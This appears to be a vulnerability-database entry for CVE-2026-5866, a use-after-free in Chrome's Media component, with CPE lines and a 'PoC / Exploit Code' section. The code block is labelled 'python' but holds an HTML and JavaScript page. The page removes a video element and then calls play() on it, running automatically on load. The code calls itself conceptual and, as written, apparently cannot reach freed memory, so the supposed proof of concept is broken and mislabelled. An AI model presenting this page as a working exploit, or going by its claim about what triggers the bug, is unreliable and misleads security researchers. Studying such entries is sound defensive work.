Use after free in Media in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5866 (Conceptual Use After Free in Media)
This code attempts to trigger the crash by manipulating media elements.
-->
<html>
<head>
<script>
function trigger_uaf() {
// Create a media element
let media = document.createElement('video');
// Setup source to trigger Media component logic
media.src = 'test.mp4';
// Force a layout/render to initialize objects
document.body.appendChild(media);
// Remove the element to trigger free (conceptual)
document.body.removeChild(media);
// Attempt to access the freed object (Use After Free)
// In a real exploit, this would be preceded by heap grooming
try {
media.play(); // This may trigger the crash on vulnerable versions
} catch(e) {
console.log('Exception caught');
}
}
window.onload = trigger_uaf;
</script>
</head>
<body>
<p>CVE-2026-5866 PoC Test Page</p>
</body>
</html>